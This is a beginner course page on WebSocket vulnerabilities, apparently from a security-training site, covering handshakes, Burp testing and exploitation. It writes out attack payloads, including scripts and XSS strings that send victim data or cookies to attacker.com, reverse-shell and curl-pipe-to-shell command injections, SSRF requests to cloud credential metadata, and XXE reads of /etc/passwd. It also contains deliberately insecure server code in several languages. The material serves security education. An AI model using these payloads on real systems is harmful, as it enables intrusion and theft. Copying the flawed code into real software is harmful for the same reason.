Client-SideMediumClient-Side

WebSockets

A complete guide to understanding, detecting, exploiting, and preventing WebSockets vulnerabilities.

Take Exam

Step 1 of 2Introduction0% Complete

Introduction

WebSockets Vulnerabilities

The Complete ANAS EDUCATION Course (Beginner Edition)

"HTTP is a series of letters. WebSockets is a phone call. The risks of a phone call are different from the risks of a letter, but they are still risks."

1. Introduction

Imagine you open your PC and visit `anastech.com`.

You find a live chat widget in the bottom-right corner. You click it. You type "hello". You hit Enter.

A second later, an agent named Sara replies: "Hi! How can I help?"

You type back. Sara replies back. The two of you have a real-time conversation, with no page refresh and no delay. Messages travel in both directions, instantly.

Now ask yourself: how is this happening?

A normal web page is request/response. Your browser asks, the server replies, the connection closes. To get a new piece of data, the browser must ask again. That model is fine for clicking links and loading pages, but it does not fit a phone call. Imagine if every time Sara wanted to send you a message she had to wait for your browser to ask first. That would not be a chat. That would be a poll.

The chat works because the browser and the server keep a persistent connection open. Once opened, messages can travel in either direction at any moment. The technology that makes this possible is called WebSockets.

A WebSocket connection starts as a regular HTTP request, then gets upgraded into something different. Here is what your browser sent when you opened the chat:

text
GET /chat HTTP/1.1
Host: anastech.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://anastech.com
Cookie: session=abc123

The two important headers are:

  • `Upgrade: websocket` ==> "browser wants to switch protocols".
  • `Connection: Upgrade` ==> "yes, really, change protocols on this same TCP connection".

The server agrees:

text
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

Status code 101 means "I am switching protocols". From now on, the same TCP socket carries WebSocket frames instead of HTTP. Both sides can send messages at any time.

When you type "hello", the browser sends a small WebSocket frame:

text
{"message":"hello"}

The server receives it instantly. The server can also push messages without being asked:

text
{"agent":"Sara","message":"Hi! How can I help?"}

That is the WebSocket flow in one paragraph: a regular HTTP request asks for upgrade, the server says yes, and from that moment on both sides talk in real time.

Now look at the same picture again, but with a question on top of it:

  • What if you type "hello" but the chat happens to render your message into the page as HTML, and you type `<img src=1 onerror=alert(1)>` instead?
  • What if the message is fed into a SQL query on the server with no validation?
  • What if an attacker on another website can open the same WebSocket connection using your cookies?
  • What if the server uses the `Origin` header at the start of the connection to decide if you are trusted, and never checks anything after?

These are WebSocket vulnerabilities. The pattern is the same as classic HTTP bugs (XSS, SQL injection, CSRF), but the rules of the game change because the connection is long-lived and bidirectional.

This course teaches that idea slowly and completely. By the end you will know:

  • How a WebSocket handshake works step by step.
  • How messages flow in both directions.
  • Three classes of bugs: message-based, handshake-based, and cross-site hijacking.
  • How to test each one with Burp Suite.
  • How to fix each one.

You do not need to be an expert. You just need to read carefully.

2. How It Works

To find these bugs, you first need to understand WebSockets in detail.

Step 1. The handshake (HTTP)

A WebSocket connection starts with a regular HTTP request. This is called the handshake.

The browser sends:

text
GET /chat HTTP/1.1
Host: anastech.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://anastech.com
Cookie: session=abc123

Each line means something:

  • `GET /chat HTTP/1.1` ==> standard HTTP method and path.
  • `Upgrade: websocket` ==> request to switch to WebSocket protocol.
  • `Connection: Upgrade` ==> reinforces the upgrade request.
  • `Sec-WebSocket-Key` ==> random bytes the browser invents, used in the server's response to prove it understands WebSockets.
  • `Sec-WebSocket-Version: 13` ==> the modern WebSocket protocol version.
  • `Origin` ==> tells the server which web page initiated the connection. Critical for cross-site attacks.
  • `Cookie` ==> the browser automatically attaches the user's session cookie to this handshake.

Step 2. The server agrees

If the server supports WebSockets and chooses to accept, it replies:

text
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
  • Status `101 Switching Protocols` ==> standard "yes, upgrading".
  • `Sec-WebSocket-Accept` ==> proof: the server takes the Sec-WebSocket-Key value, appends a fixed string, hashes the result with SHA-1, base64-encodes, returns. Browsers verify this to confirm they really are talking to a WebSocket server.

After this exchange, the TCP socket stays open and switches into WebSocket framing.

Step 3. Messages in both directions

Once upgraded, both sides can send messages at any time. Each message is a small frame. From the developer's perspective, the messages look like:

text
client ==> server:  {"message":"hello"}
server ==> client:  {"agent":"Sara","message":"Hi! How can I help?"}
client ==> server:  {"message":"my password is..."}
server ==> client:  {"system":"Connected"}

Messages can be text or binary. Most apps use JSON.

Step 4. ws:// vs wss://

WebSockets have two URL schemes:

  • `ws://` ==> unencrypted, like HTTP.
  • `wss://` ==> encrypted with TLS, like HTTPS.

Always use `wss://`. Plaintext `ws://` lets any network attacker read and tamper with every message.

Step 5. The four things that determine security

Once you know how WebSockets work, four facts shape every bug:

  • The handshake is one-time. The server checks the user's identity (via cookies, headers) at the moment of upgrade. After that, the connection is "already authenticated" and messages do not re-prove anything.
  • The connection is long-lived. A misuse can be replayed many times on the same socket without going through any new auth check.
  • Messages are bidirectional. Server-pushed data has the same XSS risk as user-supplied data, just from the other direction.
  • The browser sends cookies automatically. A WebSocket handshake to `wss://anastech.com/chat` includes anastech cookies even if started by a completely different website. This is why CSRF-style hijacking applies (technique CSWSH in Section 11).
text
┌──────────────────────────────────────────────────────────────┐
│              THE WEBSOCKET LIFECYCLE                         │
└──────────────────────────────────────────────────────────────┘

  Phase 1: HANDSHAKE (regular HTTP, ONE-TIME)

     Browser  ──── HTTP Upgrade ──►  Server
              ◄──── 101 Switching ──

  Phase 2: MESSAGES (bidirectional, LONG-LIVED)

     Browser  ──── {"hello"} ──►     Server
              ◄──── {"hi"} ──        (server may push without being asked)
     Browser  ──── {"more"} ──►      Server
              ◄──── {"ok"} ──
     ... continues until either side closes ...

  Phase 3: CLOSE

     Browser  ──── close frame ──►    Server
              ◄──── close frame ──

That picture is the whole protocol. Every bug class lives somewhere on it.

3. Attack Flow

WebSocket attacks follow a careful sequence.

Step 1. Find a WebSocket endpoint

Open the application in your browser. Use the chat, the trading dashboard, the live notifications, the multiplayer game, whatever feature reacts in real time.

Open Burp Proxy. In the WebSockets history tab, watch for connections being established. Note the URL (`wss://anastech.com/chat`) and the messages flowing.

Step 2. Understand the message format

Look at sample messages. They are usually JSON like:

json
{"action":"message","content":"hello"}
{"type":"order","symbol":"BTC","quantity":1}
{"event":"join","room":"general"}

Each field is a candidate for tampering.

Step 3. Intercept and modify

Turn on interception in Burp Proxy. Trigger a message in the app (type "hello" in the chat). The message appears in Burp.

Modify it before forwarding:

  • Inject an XSS payload: `{"content":"<img src=x onerror=alert(1)>"}`
  • Inject SQL: `{"content":"' OR 1=1 --"}`
  • Inject XXE: `{"content":"<?xml ...><!ENTITY x SYSTEM 'file:///etc/passwd'>"}`
  • Change a parameter: `{"action":"transfer","to":"victim","amount":100000}`

Forward. Watch the response. Watch the chat UI.

Step 4. Replay and fuzz with Burp Repeater

Right-click a message in WebSockets history ==> "Send to Repeater". Now you can replay the message dozens of times, modifying one field each time. Use this to brute-force IDs, fuzz with payload lists, or test rate limits.

Step 5. Test the handshake itself

In Burp Repeater, click the pencil icon next to the WebSocket URL. The handshake details open. You can:

  • Clone the existing WebSocket (open a new connection with custom headers).
  • Reconnect a closed WebSocket.
  • Modify Cookie, Origin, Sec-WebSocket-Protocol, X-Forwarded-For, or any custom header.

This is where CSRF-style and trust-based bugs hide.

Step 6. Test cross-site hijacking (CSWSH)

Build a small attacker HTML page:

html
<script>
const ws = new WebSocket("wss://anastech.com/chat");
ws.onopen = () => ws.send('{"action":"showSecrets"}');
ws.onmessage = e => fetch('https://attacker.com/log', {method:'POST', body: e.data});
</script>

Host it. Send a victim the link. If the victim is logged into anastech.com in another tab, the connection opens with their cookies, and you exfiltrate.

Step 7. Document

text
[TIMELINE]
=> Step 1: identified wss://anastech.com/chat handshake
=> Step 2: messages are JSON {"message":"..."}
=> Step 3: injected XSS via message field
=> Step 4: built CSWSH HTML; victim's session leaked
=> Severity: High (Stored XSS + cross-site WebSocket hijacking)

Every WebSocket engagement follows the same pattern.

4. Why Developers Make This Mistake

Three mental shortcuts cause most WebSocket bugs.

Shortcut 1. "I authenticated the user at the handshake. The rest is fine."

Wrong. The handshake authenticates who opens the connection. Every individual message must still be authorized. A user who opens a connection to chat should not be able to send `{"action":"deleteAllUsers"}` and have the server obey just because they opened the connection earlier.

Shortcut 2. "WebSockets are not HTTP, so HTTP bugs do not apply."

Wrong. The data that flows over WebSockets is still parsed, stored, and rendered by the same servers and browsers. SQL injection still happens when WebSocket messages flow into SQL. XSS still happens when WebSocket messages flow into the DOM. XXE still happens when WebSocket messages flow into XML parsers.

Shortcut 3. "Browsers protect cross-origin requests, so WebSockets are safe."

Wrong. Browsers DO enforce CORS for fetch and XMLHttpRequest. But WebSockets do NOT enforce CORS. A WebSocket from `attacker.com` to `wss://anastech.com/chat` opens fine and includes the anastech.com cookies. The only protection is the server checking the `Origin` header during the handshake.

Other recurring developer mistakes:

  • Trusting `X-Forwarded-For` or `X-Real-IP` for client IP without verifying the proxy hop.
  • Reusing the same session ID across WebSocket connections without expiration.
  • Echoing every received message to other connected clients without sanitization.
  • Storing every WebSocket message in a database without rate limiting.
  • Allowing `ws://` (plaintext) in production.

It is not a code bug. It is a mental model bug about how the new protocol changes the threat model.

5. Beginner Summary

  • A WebSocket is a persistent two-way connection that starts as HTTP and gets upgraded to a long-lived channel. After the handshake, both sides can send messages at any time.
  • Almost every classic web vulnerability (XSS, SQL injection, XXE, CSRF-style hijacking) also appears in WebSocket apps, just through a different transport.
  • Three main attack classes are: tampering with messages, tampering with the handshake, and cross-site WebSocket hijacking (CSWSH) where another website opens a WebSocket to your app using the victim's cookies.
  • Test WebSockets with Burp Suite's WebSockets history, Intercept, and Repeater. The pencil icon next to the URL in Repeater opens the handshake editor.
  • The fix: always use `wss://`, validate the `Origin` header, require CSRF tokens or unpredictable session tokens on the handshake, sanitize messages in both directions, never trust `X-Forwarded-For`.

If you remember those five lines, you have the whole concept.

6. Visual Explanation

The handshake step by step

text
┌─────────────────────────────────────────────────────────────┐
│  Browser                                       Server       │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  GET /chat HTTP/1.1                                         │
│  Host: anastech.com           ─────────►                    │
│  Upgrade: websocket                                         │
│  Connection: Upgrade                                        │
│  Sec-WebSocket-Key: dGhl...                                 │
│  Sec-WebSocket-Version: 13                                  │
│  Origin: https://anastech.com                               │
│  Cookie: session=abc123                                     │
│                                                             │
│                                                             │
│                               ◄─────────  HTTP/1.1 101      │
│                                           Switching         │
│                                           Protocols         │
│                                           Sec-WebSocket-    │
│                                            Accept: s3p...   │
│                                                             │
│  ============ WebSocket framing now active ============     │
│                                                             │
│  {"hello"}                    ─────────►                    │
│                               ◄─────────  {"hi back"}       │
│                               ◄─────────  {"system push"}   │
│                                                             │
└─────────────────────────────────────────────────────────────┘

Three attack surfaces

text
                ┌────────────────────────┐
                │ WEBSOCKETS             │
                └─────────┬──────────────┘
                          │
        ┌─────────────────┼─────────────────┐
        ▼                 ▼                 ▼
  ┌────────────┐   ┌─────────────┐   ┌────────────────┐
  │ MESSAGES   │   │ HANDSHAKE   │   │ CROSS-SITE     │
  │            │   │             │   │ HIJACK (CSWSH) │
  ├────────────┤   ├─────────────┤   ├────────────────┤
  │ XSS        │   │ Origin      │   │ Open WS from   │
  │ SQLi       │   │  trust      │   │ attacker.com   │
  │ XXE        │   │ X-Forwarded │   │ Browser sends  │
  │ Logic bugs │   │  -For trust │   │ victim cookies │
  │ Auth bypass│   │ Cookie/     │   │ Exfiltrate via │
  │            │   │  Session    │   │ ws.onmessage   │
  └────────────┘   └─────────────┘   └────────────────┘

CSWSH in one picture

text
  ┌──────────────────────────────────────────────────┐
  │  Attacker hosts evil.com with this JS:           │
  │                                                  │
  │  const ws = new WebSocket(                       │
  │    "wss://anastech.com/chat");                   │
  │  ws.onmessage = e =>                             │
  │    fetch('//attacker.com/x?d=' + e.data);        │
  └─────────────────────┬────────────────────────────┘
                        │
                        ▼
  ┌──────────────────────────────────────────────────┐
  │  Victim is logged in to anastech.com (tab A).    │
  │  Victim opens evil.com (tab B).                  │
  │  Browser opens the WebSocket to anastech.com.    │
  │  Browser ATTACHES anastech.com cookies.          │
  │  anastech server sees a valid session.           │
  │  Conversation begins.                            │
  │  ws.onmessage runs in attacker's JS.             │
  │  Every message is exfiltrated to attacker.com.   │
  └──────────────────────────────────────────────────┘

Burn these into memory.

7. Definition

Technical definition. WebSocket vulnerabilities are a class of web application weaknesses that arise from misuse of the WebSocket protocol (RFC 6455), including insecure handshake validation (missing or incorrect `Origin` enforcement), missing CSRF protection on the upgrade request leading to Cross-Site WebSocket Hijacking, lack of input validation on bidirectional messages enabling injection (XSS, SQL, XXE), session reuse and weak session handling, and misplaced trust in HTTP headers passed during the handshake. Tracked under CWE-345 (Insufficient Verification of Data Authenticity) for CSWSH and the relevant injection CWEs for message-based bugs (CWE-79 XSS, CWE-89 SQL injection, CWE-611 XXE).

Beginner-friendly definition. WebSocket bugs are when a long-lived two-way connection lets attackers do all the classic web attacks (XSS, SQL injection, CSRF) plus a few new ones, because the server forgot the connection is still talking to a user input source.

Why it matters. WebSockets carry user actions, sensitive data, and authentication state in most modern real-time apps: chat platforms, trading dashboards, multiplayer games, IoT panels, collaborative editors, and live customer support. A single CSWSH bug routinely leads to full account takeover. Message-based injection on a poorly-validated chat field yields stored XSS at the platform scale. PortSwigger documents three WebSocket labs (Apprentice, Practitioner, Practitioner) covering exactly these patterns.

Common affected systems.

  • Real-time chat platforms (customer support, social, gaming)
  • Trading platforms and crypto exchanges (live order books)
  • Collaborative editors (Google Docs-style)
  • Multiplayer games and matchmaking
  • Live dashboards (DevOps, monitoring)
  • IoT device control panels
  • Streaming UIs (video chat, screen sharing signaling)
  • GraphQL subscriptions over WebSocket

If a feature reacts in real time without a page refresh, WebSocket bugs may live there.

8. Examples

Five realistic scenarios.

Example 1. Stored XSS via Chat Message

The feature. A live customer-support widget. Users send messages, an agent dashboard displays them as HTML.

json
client ==> server:  {"message":"hello"}
server ==> agent:   <td>hello</td>

The bug. The agent's UI takes the message field and inserts it into the DOM without escaping.

The attack step by step.

  • Open Burp. Capture the WebSocket sending a normal message.
  • Send a crafted payload via Repeater or Intercept:
json
{"message":"<img src=1 onerror='fetch(\"//attacker.com/?c=\"+document.cookie)'>"}
  • The agent's browser receives the message. The HTML is injected. The image element fails to load and runs the `onerror` handler.
  • The agent's session cookie is sent to attacker.com.
  • The attacker takes over the agent account.

This is the PortSwigger lab "Manipulating WebSocket messages to exploit vulnerabilities".

Example 2. SQL Injection via WebSocket Message

The feature. An order-search dashboard sends queries as WebSocket messages:

json
{"action":"search","orderId":"123"}

The server runs:

python
db.execute("SELECT * FROM orders WHERE id=" + msg["orderId"])

The bug. String concatenation, no parameterization.

The attack step by step.

  • In Burp Repeater, modify the orderId to `1 UNION SELECT username,password FROM users`.
  • The server returns all credentials.
  • Account takeover follows.

Example 3. Cross-Site WebSocket Hijacking (CSWSH)

The feature. The app uses WebSockets for "live chat" with the user's account, including viewing their own messages.

The bug. The server only checks the cookie at handshake time. It does not check `Origin`. It does not require a CSRF token.

The attack step by step.

html
<script>
const ws = new WebSocket("wss://anastech.com/chat");
let log = "";
ws.onmessage = e => {
  log += e.data + "\n";
  fetch("https://attacker.com/exfil", {method:"POST", body: log});
};
ws.onopen = () => {
  ws.send('{"action":"loadHistory"}');
};
</script>
  • Victim is logged in to anastech.com in tab A.
  • Victim clicks a link to attacker.com (tab B).
  • The script opens a WebSocket to anastech.com. Browser includes session cookies.
  • The server accepts, replays the chat history (including secrets the user shared with support).
  • The attacker captures every message.

This is the PortSwigger lab "Cross-site WebSocket hijacking".

Example 4. Trust in X-Forwarded-For

The feature. A trading platform allows higher rate limits and waives 2FA for "trusted IPs". The server reads `X-Forwarded-For` from the WebSocket handshake to determine the client IP.

The bug. The server trusts `X-Forwarded-For` blindly.

The attack step by step.

  • The attacker captures a normal handshake.
  • In Burp Repeater, click the pencil icon to edit the handshake.
  • Add `X-Forwarded-For: 192.168.1.10` (an internal IP the company trusts).
  • Reconnect.
  • The server uses 192.168.1.10 as the client IP, applies generous rate limits, and skips 2FA.
  • The attacker places trades freely.

This is the PortSwigger lab "Manipulating the WebSocket handshake to exploit vulnerabilities".

Example 5. Replay and Logic Abuse

The feature. A multiplayer game uses WebSockets for moves:

json
{"action":"move","direction":"north","stepNumber":5}

The server processes moves in order.

The bug. The server does not enforce that the same `stepNumber` cannot be replayed.

The attack step by step.

  • Capture a "buy item" WebSocket message:
json
{"action":"buyItem","item":"goldKey","price":1000}
  • In Burp Repeater, send the message 50 times.
  • The server processes each replay as a separate purchase but never charges more than the first time.
  • The attacker gets 50 gold keys for the price of one.

Each pattern shows up in real disclosed reports. The mechanics never change.

9. Vulnerable Code

Node.js (ws library) ==> No Origin check on handshake

javascript
const WebSocket = require('ws');
const wss = new WebSocket.Server({ server });   // BUG: no verifyClient

wss.on('connection', (ws, req) => {
    // ... uses cookies via req.headers.cookie ...
    ws.on('message', msg => {
        broadcast(JSON.parse(msg));   // BUG: broadcast unvalidated
    });
});

What is wrong: any origin can connect (CSWSH). Messages are broadcast without validation.

Node.js (ws library) ==> Echo without sanitization

javascript
ws.on('message', raw => {
    const msg = JSON.parse(raw);
    wss.clients.forEach(client => {
        client.send(JSON.stringify({ user: msg.user, content: msg.content }));
    });
});

If the client renders `content` as HTML, stored XSS.

Python (Flask-SocketIO / websockets) ==> SQL concat

python
async def handle(websocket):
    async for msg in websocket:
        data = json.loads(msg)
        rows = db.execute(
            "SELECT * FROM orders WHERE id=" + data["orderId"]   # BUG
        ).fetchall()
        await websocket.send(json.dumps(rows))

SQL injection via WebSocket message.

Python (Flask-SocketIO) ==> No Origin check

python
from flask_socketio import SocketIO
socketio = SocketIO(app, cors_allowed_origins="*")   # BUG: any origin

`cors_allowed_origins="*"` lets any website connect.

Java (Spring WebSocket) ==> No Origin check

java
@Configuration
@EnableWebSocket
public class WsConfig implements WebSocketConfigurer {
    public void registerWebSocketHandlers(WebSocketHandlerRegistry registry) {
        registry.addHandler(new ChatHandler(), "/chat")
                .setAllowedOrigins("*");      // BUG
    }
}

PHP (Ratchet) ==> Trusts X-Forwarded-For

php
public function onOpen(ConnectionInterface $conn) {
    $ip = $conn->httpRequest->getHeader('X-Forwarded-For')[0]
          ?? $conn->remoteAddress;
    if (in_array($ip, $TRUSTED_IPS)) {
        $this->grantHigherPrivileges($conn);   // BUG
    }
}

The attacker sets `X-Forwarded-For` in the handshake.

Go (gorilla/websocket) ==> No CheckOrigin

go
var upgrader = websocket.Upgrader{
    CheckOrigin: func(r *http.Request) bool { return true },  // BUG
}

Generic ==> echoing every message as HTML

javascript
ws.onmessage = e => {
    const msg = JSON.parse(e.data);
    document.getElementById("log").innerHTML += `<div>${msg.text}</div>`;
    // BUG: innerHTML + unsanitized text
};

Generic ==> trusts session cookie only at handshake

python
async def handler(websocket):
    user = get_user_from_cookie(websocket.request_headers["Cookie"])
    if not user:
        await websocket.close(); return

    async for msg in websocket:
        data = json.loads(msg)
        if data["action"] == "transfer":
            # BUG: never re-checks who user is, no per-message auth
            await transfer_money(data["to"], data["amount"], from_user=user)

The connection authenticates once. Every message inherits that authentication. If `user` should not be allowed to transfer, the only way to stop them is to also authorize each message.

Generic ==> no rate limit, no replay protection

javascript
ws.on('message', msg => {
    const { action, amount } = JSON.parse(msg);
    if (action === 'purchase') {
        processPurchase(amount);   // BUG: can be sent 1000 times
    }
});

Generic ==> trusts message-supplied user

javascript
ws.on('message', msg => {
    const { from, content } = JSON.parse(msg);
    saveChat({ from, content });    // BUG: trusts client-supplied 'from'
});

The attacker sets `from: 'admin'` and impersonates other users.

The universal pattern across implementations

text
1. Set up a WebSocket server.
2. Accept handshake without validating Origin.
3. Authenticate the user via cookies one time.
4. Receive messages and pass them straight into the database, HTML, or business logic.
5. Broadcast every message to other clients without sanitization.
6. Never re-authorize individual actions.

Steps 2, 4, 5, and 6 each independently cause real bugs.

10. Detection

Detection is the step where you confirm a WebSocket bug exists. Walk through each test in order.

Step 1. Confirm WebSockets are in use

  • Open the app in Burp's embedded browser (or any browser proxied through Burp).
  • Use the live features (chat, dashboard, notifications, multiplayer).
  • In Burp Proxy, go to the WebSockets history tab. Watch for entries.
  • Note each WebSocket URL: `wss://anastech.com/chat`, `wss://anastech.com/socket.io/`, etc.
  • Check browser DevTools ==> Network tab ==> WS filter for the same connections.

If no WebSockets are listed, the app does not use WebSockets (or uses a different transport like Server-Sent Events or long polling).

Step 2. Capture the handshake

In Burp WebSockets history, click an entry. The handshake (the original `GET /chat` request with `Upgrade: websocket`) is visible. Note:

  • The `Origin` header value.
  • Whether the request requires a `Cookie` or `Authorization` header.
  • Any custom headers (`X-Forwarded-For`, `X-Real-IP`, `X-Tenant-Id`).
  • The Sec-WebSocket-Protocol if present (subprotocol negotiation).

Step 3. Capture messages in both directions

Watch a normal interaction. Note:

  • Message format (JSON, plain text, binary).
  • Which fields look like user-controlled values (`message`, `content`, `orderId`, `from`).
  • Which fields look like server-pushed identifiers (`id`, `timestamp`, `agent`).

Step 4. Probe message-based bugs

For each candidate field, in Burp Repeater, send modified messages:

text
TEST                                       LOOK FOR
─────                                      ────────
{"message":"<svg onload=alert(1)>"}        XSS in rendering UI
{"orderId":"1 OR 1=1"}                     SQL injection in response
{"orderId":"' UNION SELECT NULL --"}       SQL injection variant
{"content":"<!ENTITY x SYSTEM 'file:///etc/passwd'>"}  XXE if XML parsed
{"from":"administrator"}                   Identity impersonation
{"amount":-100}                            Logic bug (negative values)
{"amount":999999999}                       Overflow / unauth limits

Step 5. Probe handshake-based bugs

In Burp Repeater, click the pencil icon next to the WebSocket URL. Open the handshake editor. Try:

  • Remove the `Origin` header entirely.
  • Set `Origin: https://attacker.com`.
  • Add `X-Forwarded-For: 127.0.0.1`.
  • Add `X-Forwarded-For: 192.168.1.10` (or another internal IP).
  • Add `X-Real-IP: 127.0.0.1`.
  • Remove the `Cookie` header entirely.
  • Modify the cookie value.
  • Add `X-Original-URL: /admin`.

Click "Connect". Each successful connection that returns data is a potential finding.

Step 6. Probe Cross-Site WebSocket Hijacking (CSWSH)

The diagnostic question: does the server check `Origin` during the handshake?

  • In Burp Repeater handshake editor, change `Origin: https://anastech.com` to `Origin: https://attacker.com`.
  • Reconnect.
  • If the server accepts and continues to send messages ==> CSWSH-vulnerable.
  • If the server refuses ==> Origin is checked.

Confirm with a real attack PoC (Section 12).

Step 7. Probe message replay

  • Right-click a sensitive message (e.g. "buy item") ==> Send to Repeater.
  • Send the same message 5 times rapidly.
  • Watch the response.
  • If each request is processed independently with no rate limit, no nonce, no token ==> replay vulnerability.

Step 8. Probe authorization per message

  • Open a connection with a low-privilege user.
  • Send a message that requires high privilege (e.g. `{"action":"deleteUser"}`).
  • If the server processes it, the connection-level auth check was incomplete.

Burp Suite step by step

  • Burp Proxy ==> WebSockets history ==> click a message.
  • Right-click ==> Send to Repeater (for individual messages) or Send to Intruder (for fuzzing).
  • In Repeater, the pencil icon opens the handshake editor.
  • Use "Clone" to open a new WebSocket with modified handshake headers.
  • Use "Reconnect" to re-establish a closed connection with new parameters.

Automated tools

  • websocket-king ==> https://websocketking.com ==> manual exploration.
  • wsrepl ==> https://github.com/doyensec/wsrepl ==> interactive WebSocket REPL with fuzzing.
  • ws-harness.py ==> WebSocket harness from PortSwigger's research repos.
  • Burp WebSocket Smuggler / Turbo Intruder ==> custom fuzzing.

Indicators of a vulnerable WebSocket setup

  • The app has real-time features (chat, dashboard, notifications).
  • The server framework defaults to permissive Origin (Flask-SocketIO `cors_allowed_origins='*'`, gorilla/websocket `CheckOrigin: return true`).
  • Messages contain user-visible content displayed in another user's browser.
  • Server-side WebSocket handlers use string-concatenation SQL.
  • The handshake reads `X-Forwarded-For` or `X-Real-IP` for authorization decisions.
  • Documentation or admin pages mention "real-time" or "WebSocket".

11. Exploitation

This is where detection becomes impact. Three families: message-based, handshake-based, cross-site hijacking. Plus extras.

Workflow

text
1. Map every WebSocket endpoint.
2. Capture a baseline handshake and several baseline messages.
3. For each message field, try injection (XSS, SQLi, XXE, command).
4. For the handshake, try Origin/X-Forwarded-For/Cookie tampering.
5. For CSWSH, build attacker HTML, host it, demonstrate exfiltration.
6. For business logic, try replay, race conditions, and value tampering.
7. Document with full HTTP traces and screenshots.

Advanced techniques (numbered 1 to 25)

1. Stored XSS via WebSocket message

The most common. Inject HTML in the message field. The recipient browser renders it.

Payloads to try:

text
<img src=1 onerror=alert(1)>
<svg onload=alert(1)>
<script>fetch('//attacker.com/?c='+document.cookie)</script>
<iframe src=javascript:alert(1)>
<details ontoggle=alert(1) open>
<body onload=alert(1)>

This is PortSwigger's Apprentice lab "Manipulating WebSocket messages to exploit vulnerabilities".

2. Persistent stored XSS via chat history

If chat is persisted to a database and replayed to new agents, a single XSS payload hits every future agent who opens the chat.

3. SQL injection in message field

json
{"orderId":"1 UNION SELECT username,password FROM users --"}
{"search":"%' UNION SELECT 1,2,3 --"}
{"id":"1; WAITFOR DELAY '0:0:5' --"}

The server processes the field server-side. Standard SQLi rules apply, just with WebSocket transport.

4. XXE via XML message body

json
{"xml":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><foo>&xxe;</foo>"}

If the server parses XML inside the message, XXE applies.

5. SSRF via message-supplied URL

json
{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
{"webhook":"http://localhost:8500/v1/agent/services"}

If the server fetches URLs supplied in messages, SSRF applies.

6. Command injection in message field

json
{"filename":"report.pdf; nc attacker.com 4444 -e /bin/bash"}
{"hostname":"$(curl http://attacker.com/x.sh|sh)"}

When messages flow into shell commands, OS injection applies.

7. Cross-Site WebSocket Hijacking (CSWSH)

The flagship. Host attacker JS:

html
<script>
const ws = new WebSocket("wss://anastech.com/chat");
const exfil = [];
ws.onopen = () => ws.send('{"action":"loadHistory"}');
ws.onmessage = e => {
  exfil.push(e.data);
  fetch('https://attacker.com/log', {method:'POST', body: e.data});
};
</script>

Victim must be logged in to anastech.com in another tab. Server must not check `Origin`.

This is PortSwigger's Practitioner lab "Cross-site WebSocket hijacking".

8. Handshake header injection (X-Forwarded-For)

In Burp Repeater, edit the handshake. Add:

text
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 192.168.1.10
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1

If the server uses these for trust decisions, you bypass IP-based restrictions.

This is PortSwigger's Practitioner lab "Manipulating the WebSocket handshake to exploit vulnerabilities".

9. Origin header tampering

text
Origin: null
Origin: https://attacker.com
Origin: https://anastech.com.attacker.com
Origin: https://anastech.com:[email protected]
Origin: file://
Origin: (empty)
Origin: (removed)

Each tests a different parsing or trust quirk.

10. Cookie tampering on handshake

  • Remove the cookie ==> does the server still accept the WebSocket? (Auth bypass.)
  • Replace with another user's cookie ==> impersonation.
  • Tamper with JWT cookies ==> all JWT attacks from the previous course apply.

11. Sec-WebSocket-Protocol abuse

Some applications use the `Sec-WebSocket-Protocol` header for things other than subprotocol negotiation. For example, passing an auth token:

text
Sec-WebSocket-Protocol: bearer.<jwt>

This is sometimes used because browsers do not allow custom headers on the WebSocket API. Test for tampering, replay, and JWT bugs.

12. Subprotocol selection bypass

When the server supports multiple subprotocols, request one with weaker validation:

text
Sec-WebSocket-Protocol: v1, v2-no-validation

Some servers honor whichever the client requests first.

13. Replay attacks

Send the same WebSocket message many times. If the server processes each, you have a replay bug:

  • Buying an item N times for the price of 1.
  • Submitting votes N times.
  • Claiming a one-time bonus N times.

14. Race conditions

Send two conflicting messages within milliseconds (e.g. two "withdraw 100" messages). If both succeed before the balance updates, you double-spend.

15. Value tampering and negative numbers

json
{"amount":-100}
{"amount":99999999999}
{"amount":"0x7fffffff"}
{"amount":"100; DROP TABLE accounts;--"}
{"amount":null}
{"amount":[]}

Each tests how the server validates numeric input.

16. Field injection (impersonation)

When messages include identity fields:

json
{"from":"administrator","content":"hi"}
{"user":"victim","action":"resetPassword"}

If the server trusts these client-supplied fields, impersonation.

17. JSON polyglot and parser confusion

json
{"action":"safe", "action":"dangerous"}

Duplicate keys may be handled differently by the JSON parser and the validator. Some parsers keep the first value; some keep the last.

18. Binary frame fuzzing

WebSockets support binary frames. Craft binary payloads (use Burp's WebSockets history with a binary-aware client) to test how the server handles unexpected types.

19. Compression attacks (permessage-deflate)

When the WebSocket negotiates permessage-deflate, oversized compressed messages (compression bombs) can DoS the server.

20. Ping/Pong abuse

WebSockets have built-in ping/pong control frames. Some servers do not rate-limit pings. Flood with pings to DoS.

21. Token leak via Sec-WebSocket-Key

`Sec-WebSocket-Key` should be random and unique per connection. Some misconfigured implementations reuse it. Reuse hints at a poorly-implemented WebSocket stack with other bugs.

22. CRLF injection in handshake URL

When the WebSocket URL is built from user input client-side, attempt CRLF injection:

javascript
new WebSocket("wss://anastech.com/chat?room=lobby%0d%0aX-Anything:%20pwned")

23. WebSocket smuggling

When a load balancer and the backend disagree on what is a WebSocket frame vs an HTTP request. Modern variant of HTTP request smuggling, less common but exists.

24. Logic bypass via direct message

When the UI hides a button to "delete account" for non-admins but the WebSocket message would still be processed:

json
{"action":"deleteAccount","userId":"victim"}

25. Combining WebSockets with CORS misconfigurations

If the app exposes some HTTP CORS-protected endpoints and the WebSocket is the lax sibling, the attacker uses the WebSocket to do what CORS prevents over HTTP.

